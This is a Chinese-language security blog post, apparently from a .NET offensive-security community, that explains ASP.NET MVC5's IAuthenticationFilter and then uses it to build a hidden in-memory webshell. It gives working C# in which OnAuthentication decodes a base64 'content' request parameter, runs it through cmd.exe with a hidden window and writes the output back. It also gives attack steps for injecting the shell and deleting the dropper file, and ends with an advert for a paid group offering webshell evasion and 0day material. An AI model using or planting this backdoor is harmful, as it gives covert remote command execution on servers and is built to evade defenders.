IAuthenticationFilter认证过滤器是MVC5的新特性,它在其他所有过滤器之前运行,我们可以在认证过滤器中创建一个我们定义的认证方法,也可以结合授权过滤器做一个复杂的认证方法,例如通常实现针对http Basic请求认证,从请求的Authorization报头中提取安全凭证,并按照Basic凭证的格式解析出用户名和密码。只有在用户名和密码匹配的情况下,我们认为请求通过认证,如果账密不匹配的情况下客户端会接收到401状态及响应。攻击者利用此过滤器可以在任意请求前实现一个隐蔽的虚拟Webshell,对于防守方此内存级别的Shell将变得难以排查,具体如何实现的原理及攻击方法请看本文完整的实现
大致可以分为三步,后续文章里笔者还会继续简化和高效利用,目前先运行第1步访问 /dotnetofAuthenticationFilter.aspx 将虚拟文件注入到内存,并删除此文件;第2步打开新的浏览器标签页访问默认主页 /?cmd=tasklist也可以正常触发,记得tasklist需base编码。成功结果如下图
很多情况下目标Action方法都要求在一个安全上下文中被执行,这里所谓的安全上下文主要指的是当前请求者是一个经过授权的用户。授权的本质就是让用户在他许可的权限范围内做他能够做的事情,授权的前提是请求者是一个经过认证的用户。.NET MVC提供身份认证过滤器AuthenticationFilter处理上述业务场景,该过滤器是HTTP请求处理的第一个阶段,所以也是最先被执行的过滤器。采用的是[ 质询(Chanllenge) -> 应答(Response) ]形式,认证方向被认证方发出质询以要求其提供用于实施认证的用户凭证,而被认证方提供相应的凭证以作为对质询的应答。AuthenticationFilter类型均实现了IAuthenticationFilter接口,定义在命名空间System.Web.Mvc.Filter下,其余的几种过滤器接口也都定义在这里,该接口定义了两个核心方法,如下代码片段
namespace System.Web.Mvc.Filters
{
/// <summary>Defines a filter that performs authentication.</summary>
public interface IAuthenticationFilter
{
/// <summary>Authenticates the request.</summary>
/// <param name="filterContext">The context to use for authentication.</param>
void OnAuthentication(AuthenticationContext filterContext);
/// <summary>Adds an authentication challenge to the current <see cref="T:System.Web.Mvc.ActionResult" />.</summary>
/// <param name="filterContext">The context to use for the authentication challenge.</param>
void OnAuthenticationChallenge(AuthenticationChallengeContext filterContext);
}
}
OnAuthentication方法用于对请求实施认证,OnAuthenticationChallenge方法则负责将相应的认证质询发送给请求者。
定义在IAuthenticationFilter接口的两个方法都将请求的上下文对象filterContext作为其唯一传递参数,不同地方在于OnAuthentication方法的这个参数类型为AuthenticationContext,它是ControllerContext的子类。所有的属性如下
AuthenticationContext的ActionDescriptor返回的自然是用于描述目标Action方法的ActionDescriptor对象。借助于Principal属性,我们可以获取或设置代表当前用户的Principal对象。如果我们在执行OnAuthentication方法的过程中设置了AuthenticationContext的Result属性,ActionResult将直接用于响应当前身份验证失败的错误请求。代码片段如下图
OnAuthenticationChallenge方法的参数类型为AuthenticationChallengeContext,依然是一个ControllerContext的子类。同样具有一个用于描述目标Action方法的ActionDescriptor属性,其Result属性代表的ActionResult对象将用于响应返回正常状态码的请求,所有的属性如下表,核心的代码片段如下图
下面笔者将改写OnAuthentication方法,首先我们在站点文件夹下添加一个名为 dotnetofAuthenticationFilter.aspx 的过滤器文件,创建MyAuthenticationFilter类继承 IAuthenticationFilter 接口,OnAuthentication方法内获取外部传入的base64数据,得到request对象后解码,另外为了具备命令执行后回显,使用StandardOutput.ReadToEnd读取命令执行后的所有返回数据,代码片段如下
public void OnAuthentication(AuthenticationContext filterContext)
{
if (!string.IsNullOrEmpty(System.Web.HttpContext.Current.Request["content"]))
{
String content = System.Text.Encoding.GetEncoding("utf-8").GetString(Convert.FromBase64String(System.Web.HttpContext.Current.Request["content"]));
if (content != null)
{
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.Arguments = "/c " + content;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardError = true;
p.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
p.Start();
byte[] data = Encoding.Default.GetBytes(p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd());
System.Web.HttpContext.Current.Response.Write("<pre>" + Encoding.Default.GetString(data) + "</pre>");
}
}
}
.NET MVC下还有很多这样的过滤器可以被用来实现虚拟Webshell,如果对这些技巧感兴趣的话可以多关注我们的博客、公众号dotNet安全矩阵以及星球,下一篇将继续分享 .NET相关的安全知识,请大伙继续关注。另外文章涉及的PDF和Demo以及工具已打包发布在星球,欢迎对.NET安全关注和关心的同学加入我们,在这里能遇到有情有义的小伙伴,大家聚在一起做一件有意义的事。
为了更好地应对基于.NET技术栈的风险识别和未知威胁,dotNet安全矩阵星球从创建以来一直聚焦于.NET领域的安全攻防技术,定位于高质量安全攻防星球社区,也得到了许多师傅们的支持和信任,通过星球深度连接入圈的师傅们,一起推动.NET安全高质量的向前发展。
星球汇聚了各行业安全攻防技术大咖,并且每日分享.NET安全技术干货以及交流解答各类技术等问题,社区中发布很多高质量的.NET安全资源,可以说市面上很少见,都是干货。其中主题包括.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库及0day等等,后续还会倾力打造专刊、视频等配套学习资源,循序渐进的方式引导加深安全攻防技术提高以及岗位内推等等服务。
我们的运营团队将一如既往地继续为大家做好服务,如果感兴趣的话欢迎参加下方的优惠劵活动加入我们,机不可失噢!当前只需¥129, 以后星球价格只会越来越高,对.NET安全关注的师傅们动动手加入我们吧!
dotNet安全矩阵知识星球 — 聚焦于微软.NET安全技术,关注基于.NET衍生出的各种红蓝攻防对抗技术、分享内容不限于 .NET代码审计、 最新的.NET漏洞分析、反序列化漏洞研究、有趣的.NET安全Trick、.NET开源软件分享、. NET生态等热点话题、还可以获得阿里、蚂蚁、字节等大厂内推的机会.